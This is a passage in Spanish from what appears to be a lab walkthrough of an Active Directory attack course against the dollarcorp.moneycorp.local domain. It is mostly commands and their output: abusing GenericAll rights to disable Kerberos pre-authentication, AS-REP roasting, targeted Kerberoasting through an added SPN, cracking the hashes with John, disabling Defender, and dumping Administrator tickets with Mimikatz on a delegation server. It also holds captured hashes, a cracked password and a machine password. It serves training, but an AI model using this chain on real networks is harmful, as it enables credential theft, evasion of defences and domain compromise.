Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local IdentityReferenceClass : group ObjectDN : CN=Control722User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : GenericAll ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123 IdentityReferenceName : RDPUsers IdentityReferenceDomain : dollarcorp.moneycorp.local IdentityReferenceDN : CN=RDP Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local IdentityReferenceClass : group ObjectDN : CN=Control723User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : GenericAll ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123 IdentityReferenceName : RDPUsers IdentityReferenceDomain : dollarcorp.moneycorp.local IdentityReferenceDN : CN=RDP Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local IdentityReferenceClass : group ObjectDN : CN=Control724User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : GenericAll ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123 IdentityReferenceName : RDPUsers IdentityReferenceDomain : dollarcorp.moneycorp.local IdentityReferenceDN : CN=RDP Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local IdentityReferenceClass : group .... .... .... .... ``` Podemos verlo tambien en el bloodhound:
Deshabilitamos la preautenticacion para el usuario control723user. ``` PS C:\ad\tools> Set-DomainObject -Identity Control723User -XOR @{useraccountcontrol=4194304} -Verbose VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=Control723User)(name=Control723User)(displayname=Control723User))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DCORP-DC.DOLLARCORP.MONEYCORP.LOCAL/DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=Control723User)(name=Control723User)(displayname=Control723User)))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Set-DomainObject] XORing 'useraccountcontrol' with '4194304' for object 'Control723user' ``` Ahora, volvemos a listar los usuarion con preautenticacion de kerberos desactivada. ``` PS C:\AD\Tools> Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth | select UserPrincipalName UserPrincipalName ----------------- Control723user VPN721user VPN722user VPN723user VPN724user VPN725user VPN726user VPN727user VPN728user VPN729user VPN730user VPN731user VPN732user VPN733user VPN734user VPN735user VPN736user VPN737user VPN738user VPN739user VPN740user ``` Obteniendo el hash de un usuario sin pre autenticacion. 
PS C:\ad\tools\ASREPRoast-master> Import-Module .\ASREPRoast.ps1
PS C:\ad\tools\ASREPRoast-master> Get-ASREPHash -UserName VPN723user -Verbose
VERBOSE: [Get-ASREPHash] DC server IP '172.16.2.1' resolved from current domain
VERBOSE: [Get-ASREPHash] Bytes sent to '172.16.2.1': 196
VERBOSE: [Get-ASREPHash] Bytes received from '172.16.2.1': 1626
$krb5asrep$VPN723user@dollarcorp.moneycorp.local:5be0f46fcdb51fbbee27cdaa15372656$cf9c690ff12bd7c52410ebd84f49488a9073a48c0d6f40833f962a120c63c7edda12f43569de673cb759164ef3153dbb26539d561abafb6ef13ac19b5fb60c69c0f290fc201ca3730d6e076fff79875f7d9fe84ae2ea66daf26c064409cd1a59303194678e4d91e7da854e3d17f43418590d44ab9da251f76c28ed9108f5a70d815849a59132e10ba06046114e144d4a154469a4d40cc549bde5aa0320a36f905309409e93f05231ca5bed421ce87fcb41d94a1d4649392f30614ecdebfe9c480a5c3173952b9176fcfe7cf75c952c24c3ea95717bdcd00163b2e02b8d20066dd21b57459d637e06dc40e3814f62764c31227fd1f1105e36982ead2cd854ed4fe189f312b5b793b1
Obteniendo los hashes de todos los usuarios: ``` PS C:\ad\tools\ASREPRoast-master> Invoke-ASREPRoast SamaccountName DistinguishedName Hash -------------- ----------------- ---- Control723user CN=Control723User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$Control723user@dollarcorp.moneycorp.local:e7958a9f... VPN721user CN=VPN721User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN721user@dollarcorp.moneycorp.local:0ecfa7441359... VPN722user CN=VPN722User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN722user@dollarcorp.moneycorp.local:7246b9a1a086... VPN723user CN=VPN723User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN723user@dollarcorp.moneycorp.local:1e73bfda62e3... VPN724user CN=VPN724User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN724user@dollarcorp.moneycorp.local:2119c7a152be... VPN725user CN=VPN725User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN725user@dollarcorp.moneycorp.local:006acf8b2c92... VPN726user CN=VPN726User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN726user@dollarcorp.moneycorp.local:94053359d939... VPN727user CN=VPN727User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN727user@dollarcorp.moneycorp.local:7597bf823904... VPN728user CN=VPN728User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN728user@dollarcorp.moneycorp.local:517606b875b8... VPN729user CN=VPN729User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN729user@dollarcorp.moneycorp.local:df2edb24eefe... VPN730user CN=VPN730User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN730user@dollarcorp.moneycorp.local:82d6003c3fe5... VPN731user CN=VPN731User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN731user@dollarcorp.moneycorp.local:6b20b7aa0f04... VPN732user CN=VPN732User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN732user@dollarcorp.moneycorp.local:ea9560f2e5f1... VPN733user CN=VPN733User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN733user@dollarcorp.moneycorp.local:b0304697d651... VPN734user CN=VPN734User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN734user@dollarcorp.moneycorp.local:cebe3bfee8db... VPN735user CN=VPN735User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN735user@dollarcorp.moneycorp.local:0302a1a92c85... VPN736user CN=VPN736User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN736user@dollarcorp.moneycorp.local:e10bff8d4fa5... VPN737user CN=VPN737User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN737user@dollarcorp.moneycorp.local:3bc64277460f... VPN738user CN=VPN738User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN738user@dollarcorp.moneycorp.local:cd344245b71e... VPN739user CN=VPN739User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN739user@dollarcorp.moneycorp.local:6e2baf56503b... VPN740user CN=VPN740User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local $krb5asrep$VPN740user@dollarcorp.moneycorp.local:27d73ab48bc5... ``` Obtenemos el hash del usuario Control723User {% code overflow="wrap" %} ``` PS C:\ad\tools\ASREPRoast-master> Get-ASREPHash -UserName Control723User -Verbose VERBOSE: [Get-ASREPHash] DC server IP '172.16.2.1' resolved from current domain VERBOSE: [Get-ASREPHash] Bytes sent to '172.16.2.1': 200 VERBOSE: [Get-ASREPHash] Bytes received from '172.16.2.1': 1674 $krb5asrep$Control723User@dollarcorp.moneycorp.local:0d7b274e6bd6ed841f73c8b26f19ba01$cf509b565cfb52ec8243933b1f20c506ba17ed070c755acba74ebee4419d182fc71ad0bd331a4ee3309ce9120ba625c3e65585769c64908b058df12fb7cd69db64d7643b6bfc3dbf5f81ed26be3050b21f1da6c834c9935122e72e3e62bb7ba23388be8220999d969d09c235c0d8f2f30aedf08282d68c7acec96b1abf874d3aa174b7873e739e8b3029d6e310c956ff278f7588b9e07304249f055f56db3de3a9d0e167b360d3000aa2da926fcbcf59346ebc6145a8a1fbd4000987ebe9fa01603e0e5dc287d355a3ad105ee80c123f3de4565505daf05fc45ddb348139a7e76e80410efcaefdedb02ecac50e76321fd3688f50f4b215d237db929c894e85e0a4b650a7f9434744 ``` {% endcode %} Procedemos a crackearlo. ``` C:\AD\Tools\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\asrephashes.txt Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl" Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2024-03-01 11:03) 0g/s 181981p/s 181981c/s 181981C/s fffff1..eyphed Session completed ``` Aunque... no lo crackeo :c ## SET SPN Enumeramos los permisos que tiene el grupo RDPUsers mediante ACLS. ``` ObjectDN : CN=Control723User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : GenericAll ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123 IdentityReferenceName : RDPUsers IdentityReferenceDomain : dollarcorp.moneycorp.local IdentityReferenceDN : CN=RDP Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local IdentityReferenceClass : group ObjectDN : CN=Support723User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : GenericAll ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123 IdentityReferenceName : RDPUsers IdentityReferenceDomain : dollarcorp.moneycorp.local IdentityReferenceDN : CN=RDP Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local IdentityReferenceClass : group ``` Verificando si el usuario tiene SPN registrados. ``` PS C:\ad\tools\ASREPRoast-master> Get-DomainUser -Identity support723user | select serviceprincipalname serviceprincipalname -------------------- ``` Agregando un SPN a un usuario que tengamos permisos. ``` PS C:\ad\tools\ASREPRoast-master> Set-DomainObject -Identity support723user -Set @{serviceprincipalname='dcorp/servicito'} ``` Luego validamos si el servicio se agrego correctamente. ``` PS C:\ad\tools\ASREPRoast-master> Get-DomainUser -Identity support723user | select serviceprincipalname serviceprincipalname -------------------- dcorp/servicito ``` Luego, dumpeamos los hashes de los usuarios kerberoasteables y crackeamos de nuevo. ``` PS C:\ad\tools> .\Rubeus.exe kerberoast /outfile:targetedhashes.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target Domain : dollarcorp.moneycorp.local [*] Searching path 'LDAP://dcorp-dc.dollarcorp.moneycorp.local/DC=dollarcorp,DC=moneycorp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' [*] Total kerberoastable users : 3 [*] SamAccountName : websvc [*] DistinguishedName : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL [*] PwdLastSet : 11/14/2022 4:42:13 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\ad\tools\targetedhashes.txt [*] SamAccountName : svcadmin [*] DistinguishedName : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433 [*] PwdLastSet : 11/14/2022 9:06:37 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\ad\tools\targetedhashes.txt [*] SamAccountName : Support723user [*] DistinguishedName : CN=Support723User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : dcorp/servicito [*] PwdLastSet : 2/19/2024 11:51:15 PM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\ad\tools\targetedhashes.txt ``` Podemos ver que figura nuestro servicio agregado con su user correspondiente. ``` C:\AD\Tools\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\targetedhashes.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Support@123 (?) 1g 0:00:00:00 DONE (2024-03-02 12:43) 17.54g/s 175596p/s 301350c/s 301350C/s fffff1..eyphed Use the "--show" option to display all of the cracked passwords reliably Session completed ``` Luego validamos que las credenciales sean correctas: ``` $crackmapexec smb 172.16.2.1 -u support723user -p 'Support@123' SMB 172.16.2.1 445 DCORP-DC [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False) SMB 172.16.2.1 445 DCORP-DC [+] dollarcorp.moneycorp.local\support723user:Support@123 ``` ## Delegacion de Kerberos ### Unconstrained Delegation Listando las pcs con delegacion. ``` PS C:\AD\Tools> Get-ADComputer -Filter {TrustedForDelegation -eq $True} DistinguishedName : CN=DCORP-DC,OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=local DNSHostName : dcorp-dc.dollarcorp.moneycorp.local Enabled : True Name : DCORP-DC ObjectClass : computer ObjectGUID : d698b7ab-f29e-461b-9bc9-24a4a131c92d SamAccountName : DCORP-DC$ SID : S-1-5-21-719815819-3726368948-3917688648-1000 UserPrincipalName : DistinguishedName : CN=DCORP-APPSRV,OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local DNSHostName : dcorp-appsrv.dollarcorp.moneycorp.local Enabled : True Name : DCORP-APPSRV ObjectClass : computer ObjectGUID : ca78344a-f7ac-4888-a371-10933b0e4b80 SamAccountName : DCORP-APPSRV$ SID : S-1-5-21-719815819-3726368948-3917688648-1106 UserPrincipalName : ``` Con las credenciales antes usadas, vamos a verificar cual de nuestras cuentas tiene accesos como localadmin en DCORP-APPSRV. Probamos con el usuario websvc. ``` C:\AD\Tools\john-1.9.0-jumbo-1-win64\run>runas /user:dcorp\websvc powershell.exe Enter the password for dcorp\websvc: Attempting to start powershell.exe as user "dcorp\websvc" ... PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1 PS C:\ad\Tools> Find-PSRemotingLocalAdminAccess PS C:\ad\Tools> ``` Y ahora con el otro usuario appadmin. ``` C:\AD\Tools\john-1.9.0-jumbo-1-win64\run>runas /user:dcorp\appadmin powershell.exe Enter the password for dcorp\appadmin: Attempting to start powershell.exe as user "dcorp\appadmin" ... PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1 PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess dcorp-adminsrv dcorp-appsrv PS C:\ad\Tools> ``` Movemos en InvokeMimikatz y el rubeus al computador. ``` PS C:\AD\Tools> cp .\Invoke-Mimikatz.ps1 \\dcorp-appsrv\C$\ PS C:\AD\Tools> cp .\Rubeus.exe \\dcorp-appsrv\C$\ ``` Accedemos a la maquina con nuestra sesion. ``` PS C:\AD\Tools> winrs -r:dcorp-appsrv cmd Microsoft Windows [Version 10.0.20348.2227] (c) Microsoft Corporation. All rights reserved. C:\Users\appadmin>powershell -ep bypass powershell -ep bypass Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows PS C:\Users\appadmin> ``` Luego ejecutamos mimikatz para extraer los tickets, tambien desactivamos el defender para no tener problemas. {% code overflow="wrap" fullWidth="false" %} ``` PS C:\> Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisableIOAVProtection $true PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableRealtimeMonitoring $true PS C:\> . .\Invoke-Mimikatz.ps1 . .\Invoke-Mimikatz.ps1 PS C:\> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # sekurlsa::tickets /export Authentication Id : 0 ; 5652157 (00000000:00563ebd) Session : Network from 0 User Name : appadmin Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:25:47 PM SID : S-1-5-21-719815819-3726368948-3917688648-1117 * Username : appadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:19:27 PM ; 3/3/2024 1:19:26 AM ; 3/9/2024 3:19:26 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : appadmin ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 48fd7b2d67275c81b3d55a0668863839889faca9c4236baa54aa62a157031517 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;563ebd]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5641528 (00000000:00561538) Session : Network from 0 User Name : appadmin Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:23:14 PM SID : S-1-5-21-719815819-3726368948-3917688648-1117 * Username : appadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:19:27 PM ; 3/3/2024 1:19:26 AM ; 3/9/2024 3:19:26 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : appadmin ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 48fd7b2d67275c81b3d55a0668863839889faca9c4236baa54aa62a157031517 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;561538]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : DCORP-APPSRV$ Domain : dcorp Logon Server : (null) Logon Time : 2/19/2024 11:31:00 PM SID : S-1-5-20 * Username : dcorp-appsrv$ * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 3/2/2024 3:25:29 PM ; 3/3/2024 1:10:28 AM ; 3/9/2024 5:35:48 AM Service Name (02) : cifs ; dcorp-dc.dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : cifs ; dcorp-dc.dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc a7c2e48b643ac95ad353b6f31bf15acf02b1d84e1f91ac78a5bc37c44993640e Ticket : 0x00000012 - aes256_hmac ; kvno = 13 [...] * Saved to file [0;3e4]-0-0-40a50000-DCORP-APPSRV$@cifs-dcorp-dc.dollarcorp.moneycorp.local.kirbi ! [00000001] Start/End/MaxRenew: 3/2/2024 5:35:48 AM ; 3/2/2024 3:35:48 PM ; 3/9/2024 5:35:48 AM Service Name (02) : ldap ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : ldap ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( DOLLARCORP.MONEYCORP.LOCAL ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 93db569b86742fbcb7fddd6f4e0b5c193638fbfcbc9560c8a41d96f2eeddf1b7 Ticket : 0x00000012 - aes256_hmac ; kvno = 13 [...] * Saved to file [0;3e4]-0-1-40a50000-DCORP-APPSRV$@ldap-dcorp-dc.dollarcorp.moneycorp.local.kirbi ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:10:28 PM ; 3/3/2024 1:10:28 AM ; 3/9/2024 5:35:48 AM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( $$Delegation Ticket$$ ) Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc c875601e2be22cfd01061d30a6d3a7de5b839b8260f29ac8427c37bc44e4b0e5 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;3e4]-2-0-60a10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! [00000001] Start/End/MaxRenew: 3/2/2024 3:10:28 PM ; 3/3/2024 1:10:28 AM ; 3/9/2024 5:35:48 AM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( DOLLARCORP.MONEYCORP.LOCAL ) Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc efc4444b9ff18075eea505f16453c9d6f6d8161f4e5f32140cc06feadb6546b6 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;3e4]-2-1-40e10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 21117 (00000000:0000527d) Session : Interactive from 0 User Name : UMFD-0 Domain : Font Driver Host Logon Server : (null) Logon Time : 2/19/2024 11:31:00 PM SID : S-1-5-96-0-0 * Username : DCORP-APPSRV$ * Domain : dollarcorp.moneycorp.local * Password : Md9Dq"q!"p2QG3GZyR>9yMw/lo0v)49RA)cj/TAlNinYB$zDGTdU]vUYs1/Bfe?AbXScy#^4_Ani_v"ABGC`hlp,$=Sm?M19un%6QdFsVpR@Pc[xv$W&=< V Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket Authentication Id : 0 ; 21023 (00000000:0000521f) Session : Interactive from 1 User Name : UMFD-1 Domain : Font Driver Host Logon Server : (null) Logon Time : 2/19/2024 11:31:00 PM SID : S-1-5-96-0-1 * Username : DCORP-APPSRV$ * Domain : dollarcorp.moneycorp.local * Password : Md9Dq"q!"p2QG3GZyR>9yMw/lo0v)49RA)cj/TAlNinYB$zDGTdU]vUYs1/Bfe?AbXScy#^4_Ani_v"ABGC`hlp,$=Sm?M19un%6QdFsVpR@Pc[xv$W&=< V Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket Authentication Id : 0 ; 5809266 (00000000:0058a472) Session : Network from 0 User Name : appadmin Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:29:12 PM SID : S-1-5-21-719815819-3726368948-3917688648-1117 * Username : appadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:19:27 PM ; 3/3/2024 1:19:26 AM ; 3/9/2024 3:19:26 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : appadmin ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 48fd7b2d67275c81b3d55a0668863839889faca9c4236baa54aa62a157031517 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;58a472]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5809242 (00000000:0058a45a) Session : Network from 0 User Name : Administrator Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:29:12 PM SID : S-1-5-21-719815819-3726368948-3917688648-500 * Username : Administrator * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:29:12 PM ; 3/3/2024 1:29:12 AM ; 3/9/2024 3:29:12 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : Administrator ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 5d81ddd480eec98e1484c31688e6bd12765f8a48a46d677487b383c8ac09744e Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;58a45a]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5805266 (00000000:005894d2) Session : Network from 0 User Name : Administrator Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:28:12 PM SID : S-1-5-21-719815819-3726368948-3917688648-500 * Username : Administrator * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:28:12 PM ; 3/3/2024 1:28:12 AM ; 3/9/2024 3:28:12 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : Administrator ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 18d125ff6b7eae889300b7a19212985fcf31df41804e9e54a5960ca77b3080aa Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;5894d2]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5673303 (00000000:00569157) Session : Network from 0 User Name : Administrator Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:27:12 PM SID : S-1-5-21-719815819-3726368948-3917688648-500 * Username : Administrator * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:27:12 PM ; 3/3/2024 1:27:12 AM ; 3/9/2024 3:27:12 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : Administrator ; @ DOLLARCORP.MONEYCORP.LOCAL 